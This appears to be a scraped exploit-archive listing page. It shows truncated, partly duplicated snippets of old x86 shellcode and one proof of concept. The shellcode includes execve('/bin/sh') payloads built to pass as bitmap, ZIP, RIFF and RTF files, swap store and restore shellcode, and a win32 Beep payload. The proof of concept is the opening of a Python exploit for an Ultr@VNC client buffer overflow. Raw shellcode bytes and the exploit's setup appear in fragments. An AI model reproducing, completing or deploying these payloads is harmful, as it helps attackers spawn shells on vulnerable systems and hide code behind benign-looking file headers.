linux/x86 execve(/bin/sh) + Bitmap Header 27 bytes

No description provided by source. / linux/x86 - execve"/bin/sh", "/bin/sh", NULL + Bitmap 24bit Header - 27 bytes root@magicbox: file linux-sh-bm24bhdr.bin linux-sh-bm24bhdr.bin: PC bitmap data - izik [email protected] / char shellcode = // // Bitmap 24bit Header 4 bytes // "\x42" // inc %edx "\x4d...

linux/x86 execve(/bin/sh) + ZIP Header 28 bytes

No description provided by source. / linux/x86 - execve"/bin/sh", "/bin/sh", NULL + ZIP Header - 28 bytes root@magicbox: file linux-sh-ziphdr.bin linux-sh-ziphdr.bin: Zip archive data - izik [email protected] / char shellcode = // // ZIP Header 5 bytes // "\x50" // push %eax "\x4b" // dec %ebx...

linux/x86 execve(/bin/sh) + RIFF Header 28 bytes

Exploit for linux/x86 platform in category shellcode ================================================ linux/x86 execve/bin/sh + RIFF Header 28 bytes ================================================ / linux/x86 - execve"/bin/sh", "/bin/sh", NULL + RIFF Header - 28 bytes email protected: file...

linux/x86 execve(/bin/sh) + RIFF Header 28 bytes

No description provided by source. / linux/x86 - execve"/bin/sh", "/bin/sh", NULL + RIFF Header - 28 bytes root@magicbox: file linux-sh-riffhdr.bin linux-sh-riffhdr.bin: RIFF little-endian data - izik [email protected] / char shellcode = // // RIFF Header 5 bytes // "\x52" // push %edx "\x49" // dec...

linux/x86 - execve/bin/sh + RIFF Header 28 bytes

linux/x86 execve/bin/sh + RIFF Header 28 bytes. Shellcode exploit for linx86 platform / linux/x86 - execve"/bin/sh", "/bin/sh", NULL + RIFF Header - 28 bytes root@magicbox: file linux-sh-riffhdr.bin linux-sh-riffhdr.bin: RIFF little-endian data - izik / char shellcode = // // RIFF Header 5 bytes ...

linux/x86 - execve/bin/sh + ZIP Header 28 bytes

linux/x86 execve/bin/sh + ZIP Header 28 bytes. Shellcode exploit for linx86 platform / linux/x86 - execve"/bin/sh", "/bin/sh", NULL + ZIP Header - 28 bytes root@magicbox: file linux-sh-ziphdr.bin linux-sh-ziphdr.bin: Zip archive data - izik / char shellcode = // // ZIP Header 5 bytes // "\x50" //...

linux/x86 execve(/bin/sh) + Bitmap Header 27 bytes

Exploit for linux/x86 platform in category shellcode ================================================== linux/x86 execve/bin/sh + Bitmap Header 27 bytes ================================================== / linux/x86 - execve"/bin/sh", "/bin/sh", NULL + Bitmap 24bit Header - 27 bytes...

linux/x86 execve(/bin/sh) + RTF Header 30 bytes

Exploit for linux/x86 platform in category shellcode =============================================== linux/x86 execve/bin/sh + RTF Header 30 bytes =============================================== / linux/x86 - execve"/bin/sh", "/bin/sh", NULL + RTF header - 30 bytes email protected: file...

linux/x86 SWAP store shellcode 99 bytes

No description provided by source. / linux-x86-swap-store.c - SWAP store shellcode 99 bytes for Linux/x86 Copyright c 2006 Gotfault Security & rfdslabs Authors: dx [email protected] spud [email protected] This shellcode reads the content of '/tmp/sws' and stores on swap device at offset 3133...

linux/x86 SWAP store shellcode 99 bytes

Exploit for linux/x86 platform in category shellcode ======================================= linux/x86 SWAP store shellcode 99 bytes ======================================= / linux-x86-swap-store.c - SWAP store shellcode 99 bytes for Linux/x86 Copyright c 2006 Gotfault Security & rfdslabs Authors...

linux/x86 - SWAP store shellcode 99 bytes

linux/x86 SWAP store shellcode 99 bytes. Shellcode exploit for linx86 platform / linux-x86-swap-store.c - SWAP store shellcode 99 bytes for Linux/x86 Copyright c 2006 Gotfault Security & rfdslabs Authors: dx spud This shellcode reads the content of '/tmp/sws' and stores on swap device at offset...

linux/x86 - SWAP restore shellcode 109 bytes

linux/x86 SWAP restore shellcode 109 bytes. Shellcode exploit for linx86 platform / linux-x86-swap-restore.c - SWAP restore shellcode 109 bytes for Linux/x86 Copyright c 2006 Gotfault Security & rfdslabs Authors: dx spud This shellcode reads the swap device at offset 31337. After it searchs by NU...

linux/x86 SWAP restore shellcode 109 bytes

No description provided by source. / linux-x86-swap-restore.c - SWAP restore shellcode 109 bytes for Linux/x86 Copyright c 2006 Gotfault Security & rfdslabs Authors: dx [email protected] spud [email protected] This shellcode reads the swap device at offset 31337. After it searchs by NULL byt...

linux/x86 SWAP restore shellcode 109 bytes

Exploit for linux/x86 platform in category shellcode ========================================== linux/x86 SWAP restore shellcode 109 bytes ========================================== / linux-x86-swap-restore.c - SWAP restore shellcode 109 bytes for Linux/x86 Copyright c 2006 Gotfault Security &...

freebsd/x86 execve /bin/sh 23 bytes

Exploit for freebsd/x86 platform in category shellcode =================================== freebsd/x86 execve /bin/sh 23 bytes =================================== / FreeBSDx86-execvesh-23b-iZ.c Shellcode, execve /bin/sh, 23 bytes by IZ / char setreuidcode = "\x31\xc0" / xor %eax,%eax / "\x50" /...

win32 Beep Shellcode SP1/SP2 35 bytes

win32 Beep Shellcode SP1/SP2 35 bytes. Shellcode exploit for win32 platform / Shellcode can be changed to work with any windows distribution by changing the address of Beep in kernel32.dll Addresses for SP1 and SP2 -xnull / include unsigned char beepsp1 = "\x55\x89\xE5\x83\xEC\x18\xC7\x45\xFC"...

freebsd/x86 - execve /bin/sh 23 bytes

freebsd/x86 execve /bin/sh 23 bytes. Shellcode exploit for freebsdx86 platform / FreeBSDx86-execvesh-23b-iZ.c Shellcode, execve /bin/sh, 23 bytes by IZ / char setreuidcode = "\x31\xc0" / xor %eax,%eax / "\x50" / push %eax / "\x68\x2f\x2f\x73\x68" / push $0x68732f2f //sh / "\x68\x2f\x62\x69\x6e" /...

win32 Beep Shellcode (SP1/SP2) 35 bytes

Exploit for win32 platform in category shellcode ======================================= win32 Beep Shellcode SP1/SP2 35 bytes ======================================= / Shellcode can be changed to work with any windows distribution by changing the address of Beep in kernel32.dll Addresses for SP1...

freebsd/x86 execve /bin/sh 23 bytes

No description provided by source. / FreeBSDx86-execvesh-23b-iZ.c Shellcode, execve /bin/sh, 23 bytes by IZ guerrilla.sytes.net / char setreuidcode = "\x31\xc0" / xor %eax,%eax / "\x50" / push %eax / "\x68\x2f\x2f\x73\x68" / push $0x68732f2f //sh / "\x68\x2f\x62\x69\x6e" / push $0x6e69622f /bin/...

Ultr@VNC 1.0.1 - 'client Log::ReallyPrint' Remote Buffer Overflow

!/usr/bin/python Ultr@VNC 1.0.1 Client Buffer Overflow - Luigi Auriemm POC by Paul Haas at Redspin.com Tested on WinXP SP 2: Launches Calc import socket, struct HOST = '' Localhost PORT = 5900 VNC Server BOFSZ = 1024 Buffer Size HEAD = "RFB 003.006\n" VNC Header MESSAGE = "Requires Ultr@VNC...